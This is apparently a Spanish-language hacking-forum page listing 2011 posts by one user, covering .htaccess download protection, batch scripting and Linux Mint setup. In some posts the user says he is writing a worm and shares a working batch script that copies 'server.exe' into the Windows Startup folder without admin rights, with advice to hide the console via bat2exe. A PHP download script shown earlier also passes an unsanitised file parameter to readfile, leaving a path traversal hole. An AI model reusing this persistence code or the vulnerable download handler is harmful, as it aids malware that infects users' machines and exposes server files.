Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - roilivethelife

#41
Creo que me acabas de encender la bombilla :D
Puedo hacer lo siguiente:
El explorador que uso es bastante parecido al listado que hace el apache.
Puedo hacer que el explorador pueda acceder a los archivos para que funcione, y cuando el usuario quiera descargarlos por ejemplo localhost/descargas/archivo1.txt el .htaccess redirija a localhost/descargas.php&file=archivo1.txt

Si no me equivoco con lo que he leido del .htaccess puedo hacer eso
-------------------
otra posibilidad seria cambiar el phpsesion por cookies, y asi de paso aprendo a usarlas :)

Voy a intentar hacer mi idea y posteo el codigo porque creo que puede se muy util

Saludos!
#42
Hola!
tengo un server web en el que hay que logearse para acceder al explorador de archivos.
El problema es que si tienes el link completo puedes descargarte el archivo sin estar logeado

Quiero utilizar algo como (no es por hacer spam) al intentar acceder a este archivo:
http://www.scenebeta.com/system/files/private/DeluxePacmanv196WinENG.rar

si estas logeado se descarga
si no te envia a una pagina de login

he intentado trastear con el .htaccess pero no se como leer si está la persona logeada(utilizo php session)

gracias!

EDIT:
He encontrado como conseguir proteger el acceso a archivos si no tienen privilegios:
El sistema consta de 3 archivos:

.htaccess

Options +FollowSymlinks
RewriteEngine on
RewriteRule ^archivos/(.*)$ /docs/descargar.php?file=archivos/$1 [R,L]


descargar.php
<?php
// Creado por Maflw en 2011
// Publicado en http://maflw.webuda.com por 
 
// forza la descarga del archivo
        //MODIFICADO POR ROILIVETHELIFE
if(isset($_GET['file']) && $_GET['file']!="" && $_GET['file']!="descargar.php"){
$file $_GET['file'];
$path str_replace(" ""-"$_GET['file']);
$filename basename($path);
if (file_exists($file)) {
    
header('Content-Description: File Transfer');
    
header('Content-Type: application/octet-stream');
    
header('Content-Disposition: attachment; filename='.$filename);
    
header('Content-Transfer-Encoding: binary');
    
header('Expires: 0');
    
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    
header('Pragma: public');
    
header('Content-Length: ' filesize($file));
    
ob_clean();
    
flush();
    
readfile($file);
    exit;
}
}
?>


y el otro archivo es el ENCODE explorer http://encode-explorer.siineiolekala.net/

Teneis que modificar el descargar.php para que descarge el archivo unicamente si está logeado(eso depende del sistema que use cada uno)
El encode explorer lo tengo modificado con el mismo sistema para no poder ver el listado de archivos si el user no está logeado.

En los archivos ejemplo la web esta distribuida asi:
CitarLocalhost/docs->archivos del encode explorer, el descargar.php y el htaccess
Localhost/docs/archivos-> donde están los archivos


EL unico fallo son las tildes, que no encontre la forma de que funcionase bien, hay que modificar el htaccess para resolverlo, y debeis arreglar el descargar.php para que no usen cosas como ../../
Salu2!


#43
Scripting / Re: Crear Batch
4 Noviembre 2011, 15:13 PM
no estoy seguro si el codigo está bien, pero si es correcto solo tienes que pasarlo a exe con un programa llamado "bat2exe". Con este programa puedes ejecutarlo sin que te aparezca la ventana negra.
#44
Scripting / Re: Pequeña duda en batch
3 Noviembre 2011, 20:57 PM
Cita de: EleKtro H@cker en  3 Noviembre 2011, 16:46 PM
el problema es que no tengo delante XP xDDD, en win7 sale la ruta del cmd en inglés xD

De todas formas el código tiene que ir por cojones, lo que no se es si habré puesto la ruta mal, pero ¿Estás seguro de que existe la carpeta "START"?

Código (dos) [Seleccionar]
@echo off
mkdir "%userprofile%\Start menu\Programs\Start\"
copy /Y "server.exe" "%userprofile%\Start menu\Programs\Start\"
Pause >nul


PD: no se si habré puesto la ruta como es, no tengo el xp aqui.

Saludos.

Ya he encontrado el fallo, por cierto, he probado tu código y me crea las carpetas en ingles xD
El problema está en el uso de la tilde, he mirado en este post: http://foro.elhacker.net/scripting/acentos_en_un_bat-t174987.0.html

Basicamente lo que dice es que usemos el editor de ms-dos ejecutando "edit"

Pones las tildes, guardas y perfecto!
Ya lo he solucionado, funciona 100%
Mi codigo de inicio automatico sin tener privilegios administrativo:
@echo off
REM Comprobando si es xp...
IF EXIST "%userprofile%\Men£ Inicio\Programas\Inicio\" copy /Y "server.exe" "%userprofile%\Men£ Inicio\Programas\Inicio\"

REM Comprobando si es vista o w7
IF EXIST "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" copy /Y "server.exe" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Pause

Le añadiré alguna mejora pero por el momento me sirve de sobra.

GRacias a todos por responder, especialmete a EleKtro H@cker
#45
Scripting / Re: Pequeña duda en batch
3 Noviembre 2011, 16:10 PM
CitarPara que arranque desde windows, busca en google como agregar una entrada en el registro de windows para inciar con windows desde batch
No quiero añadir nada al registro porque necesitas privilegios. De mi manera funcionaría en cualquier ordenador, bastaria con saber si es xp o w7 y copiar el programa a la carpeta de inicio.

CitarY porque usas 2 variables de entorno pudiendo usar %userprofile%
porque estaba desesperado probando de todas formas posibles y no me iba


Citar1º - Usa comillas dobles en nombres con espacios.
ok

Citar2º - Usa el nombre "real" en inglés, el mismo que sale al abrir la consola.
en la consola aparece esto TAL CUAL cuando estoy en la carpeta
C:\Documents and Settings\nombreusuario\Menú Inicio\Programas\Inicio>

CitarCódigo

copy /Y "server.exe" "%homedrive%\Documents and Settings\%username%\Start menu\Programs\Start\"

me dá error de ruta especificada no hallada...
Tambien probé con el nombre en español y me da el mismo error, creo que es fallo de la tilde.
alguna solucion?

si kereis probarlo en w7 la carpeta es
"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu"

gracias!
#46
Hola!
Estoy programando un worm, pero me falla una parte vital, que es la de autoarranque con windows.
Tengo este codigo pero me da "error de sintaxis"
@echo off
REM esta carpeta vale si es windows xp solo
copy /Y server.exe %homedrive%\Documents and Settings\%username%\Menú inicio\Programas\Inicio

(Hay un archivo llamado server.exe donde se ejecuta el bat y la carpeta a donde quiero copiar existe)

y otra preguntita si no es mucho pedir:
como hacer desde batch, saber si un sistema es windows xp o vista/7

gracias!
#47
Desafíos - Wargames / Re: prueba "Serial"
12 Octubre 2011, 18:09 PM
yo tambien lo resolví con un poco de suerte!!!
que serial probaste??
te envio el que puse yo por privado!
#48
Cita de: BiteAciD en  5 Octubre 2011, 15:25 PM

Respecto a Linux Mint en espanol esa opcion creo que a mi me la dio cuando instale el sistema operativo en el notebook de mi hermano... de todas formas te dejo un Link  para hacerlo espero te sirva

Eso del español me costo un poquillo pero lo consegui al final.
Lo que es extraño es lo de la tilde, tengo en el otro pc la misma config y me funciona.
#49
puedes si quieres usar algun programa por separado que incluye esta distro en windows, pero la mejor manera es gravarlo en cd o meterlo en un pen:

para meterlo en un pen descargate esto: http://www.pendrivelinux.com/downloads/YUMI/YUMI-0.0.2.6.exe
info sobre el programa aqui:info sobre yumi
luego selecionas la iso y la metes a traves del programa en un pen y lo booteas, es muy facil!!
Saludos
#50
¡Hola!
Recien llegado a mi pc de sobremesa acaba de llegar Linux Mint 11 "katya", que para los que no conocen esta distro esta basada en ubuntu.
He encontrado algun problema, algunos solventados y otros no:

-Configurar el SO a español 100%:[error solucionado]
Esto es algo que me ha costado un poquito, el so por defecto viene en ingles, y me ha costado instalar los paquetes de idioma español y eliminar los de ingles.

-Configurar la tilde[error NO solcionado]
Es algo que todavia no he encontrado solucion, he probado todos los modos de teclado y no me funciona la tilde. En otro pc o en modo live en un portatil me funcionaba.

-Tener que marcar siempre cualquier ejecutable bajado de internet o de donde sea para ejecutarlo[opinion]
Pues eso, que me parece un rollazo tene que marcar cada archivo que quiero ejecutar, como tal.

-Cambiar propiedades de sistema archivos NTFS [duda No solucionada]
Esto me deriva de lo anterior: al tener que marcar los archivos como ejecutables para abrirlos, en una unidad ntfs no puedo emular los programas instalados con wine porque da error.
Este es uno de los motivos de que tenga el XP "por si acaso" y para jugar al COD


Excepto esto Mint me parece un gran sistema operativo, moderno, muy versatil y muy facil de manejar para un novato en linux (de momento eh!, xD) como yo.

Si sabeis como solucionar algun problema de los de antes agradeceria vuestra respuesta, y para los que no, siento haberos dado el toston!

Gracias!